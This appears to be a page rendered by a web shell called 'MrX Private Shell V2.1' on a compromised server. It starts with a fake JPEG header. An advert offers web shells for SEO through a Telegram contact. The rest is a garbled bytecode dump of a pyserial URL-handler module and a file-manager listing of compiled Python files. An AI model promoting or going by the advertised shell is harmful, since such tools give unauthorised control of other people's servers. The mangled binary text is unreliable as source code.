����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
��WW� � @ sZ zd dl Z W n ey* d dlmZ Y n0 d dlZdd� ZedkrVe�d�Ze e� dS )� Nc
C s� t �| �}|jdkr&t�d�|j���d}z@t �|jd��� D ](\}}|dkrX|d }q>t d�|���q>W n4 t y� } zt�d�|���W Y d }~n
d }~0 0 t
t|�s�t d
�|���tt|�}t|tj
�s�t d�|���d�|j|jg�|fS )
z(extract host and port from an URL stringZaltzmexpected a string in the form "alt://port[?option[=value][&option[=value]]]": not starting with alt:// ({!r})�SerialT�classr zunknown option: {!r}zRexpected a string in the form "alt://port[?option[=value][&option[=value]]]": {!r}Nzunknown class: {!r}z'class {!r} is not an instance of Serial� )�urlparse�urlsplit�scheme�serialZSerialException�format�parse_qs�query�items�
ValueError�hasattr�getattr�
issubclassr �join�netloc�path)�url�parts�
class_name�option�values�e�cls� r �B/usr/lib/python3.9/site-packages/serial/urlhandler/protocol_alt.py�serial_class_for_url s2
��
��
r �__main__z&alt:///dev/ttyS0?class=PosixPollSerial)
r �ImportError�urllib.parse�parser r �__name__Zserial_for_url�s�printr r r r �<module> s
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __init__.cpython-39.opt-1.pyc | File | 153 B | 0644 |
|
| __init__.cpython-39.pyc | File | 153 B | 0644 |
|
| protocol_alt.cpython-39.opt-1.pyc | File | 1.29 KB | 0644 |
|
| protocol_alt.cpython-39.pyc | File | 1.29 KB | 0644 |
|
| protocol_hwgrep.cpython-39.opt-1.pyc | File | 1.75 KB | 0644 |
|
| protocol_hwgrep.cpython-39.pyc | File | 1.75 KB | 0644 |
|
| protocol_loop.cpython-39.opt-1.pyc | File | 7.75 KB | 0644 |
|
| protocol_loop.cpython-39.pyc | File | 7.75 KB | 0644 |
|
| protocol_rfc2217.cpython-39.opt-1.pyc | File | 206 B | 0644 |
|
| protocol_rfc2217.cpython-39.pyc | File | 206 B | 0644 |
|
| protocol_serve-rfc2217.cpython-39.opt-1.pyc | File | 212 B | 0644 |
|
| protocol_serve-rfc2217.cpython-39.pyc | File | 212 B | 0644 |
|
| protocol_socket.cpython-39.opt-1.pyc | File | 8.68 KB | 0644 |
|
| protocol_socket.cpython-39.pyc | File | 8.7 KB | 0644 |
|
| protocol_spy.cpython-39.opt-1.pyc | File | 8.79 KB | 0644 |
|
| protocol_spy.cpython-39.pyc | File | 8.79 KB | 0644 |
|